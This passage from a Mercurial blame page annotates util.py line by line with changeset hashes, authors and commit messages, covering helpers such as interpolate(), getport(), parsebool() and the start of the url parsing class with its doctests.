diff
changeset
|
2675 return -1 |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2676 time.sleep(0.1) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2677 return pid |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2678 finally: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2679 if prevhandler is not None: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2680 signal.signal(signal.SIGCHLD, prevhandler) |
10438
e6dc44147234
util: add any() and all() functions for Python 2.4 compatibility
Steve Losh <steve@stevelosh.com>
parents:
10422
diff
changeset
|
2681 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2682 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2683 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2684 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2685 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2686 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2687 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2688 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2689 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2690 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2691 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2692 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2693 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2694 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2695 fn = fn or (lambda s: s) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2696 patterns = '|'.join(mapping.keys()) |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2697 if escape_prefix: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2698 patterns += '|' + prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2699 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2700 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2701 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2702 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2703 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2704 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2705 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2706 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2707 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2708 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2709 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2710 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2711 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2712 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2713 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2714 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2715 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2716 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2717 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2718 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2719 try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2720 return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2721 except socket.error: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2722 raise Abort(_("no port number associated with service '%s'") % port) |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2723 |
12088
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2724 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2725 '0': False, 'no': False, 'false': False, 'off': False, |
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2726 'never': False} |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2727 |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2728 def parsebool(s): |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2729 """Parse s into a boolean. |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2730 |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2731 If s is not a valid boolean, returns None. |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2732 """ |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2733 return _booleans.get(s.lower(), None) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2734 |
14077
c285bdb0572a
util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents:
14076
diff
changeset
|
2735 _hextochr = dict((a + b, chr(int(a + b, 16))) |
30054
8b89521a69ba
util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents:
30053
diff
changeset
|
2736 for a in string.hexdigits for b in string.hexdigits) |
14077
c285bdb0572a
util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents:
14076
diff
changeset
|
2737 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2738 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2739 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2740 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2741 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2742 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2743 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2744 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2745 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2746 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2747 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2748 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2749 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2750 parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2751 False, both fragment and query are included in path. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2752 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2753 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2754 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2755 Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2756 take host names. That means 'bundle://../' has a path of '../'. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2757 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2758 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2759 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2760 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2761 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2762 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2763 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2764 >>> url(b'file:///home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2765 <url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2766 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2767 <url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2768 >>> url(b'bundle:foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2769 <url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2770 >>> url(b'bundle://../foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2771 <url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2772 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2773 <url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2774 >>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2775 <url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2776 >>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2777 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2778 >>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2779 <url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2780 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2781 Authentication credentials: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2782 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2783 >>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2784 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2785 >>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2786 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2787 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2788 Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2789 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2790 >>> url(b'http://host/a?b#c') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2791 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2792 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2793 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2794 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2795 Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2796 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2797 >>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2798 <url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2799 >>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2800 <url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2801 >>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2802 <url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2803 >>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2804 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2805 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2806 Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2807 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2808 >>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2809 <url scheme: 'http'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2810 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2811 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2812 _safechars = "!~*'()+" |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2813 _safepchars = "/!~*'()+:\\" |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2814 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2815 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2816 def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2817 # We slowly chomp away at path until we have only the path left |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2818 self.scheme = self.user = self.passwd = self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2819 self.port = self.path = self.query = self.fragment = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2820 self._localpath = True |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2821 self._hostport = '' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2822 self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2823 |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2824 if parsefragment and '#' in path: |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2825 path, self.fragment = path.split('#', 1) |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2826 |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2827 # special case for Windows drive letters and UNC paths |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2828 if hasdriveletter(path) or path.startswith('\\\\'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2829 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2830 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2831 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2832 # For compatibility reasons, we can't handle bundle paths as |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2833 # normal URLS |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2834 if path.startswith('bundle:'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2835 self.scheme = 'bundle' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2836 path = path[7:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2837 if path.startswith('//'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2838 path = path[2:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2839 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2840 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2841 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2842 if self._matchscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2843 parts = path.split(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2844 if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2845 self.scheme, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2846 self._localpath = False |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2847 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2848 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2849 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2850 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2851 self.path = '' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2852 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2853 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2854 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2855 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2856 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2857 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2858 if parsequery and '?' in path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
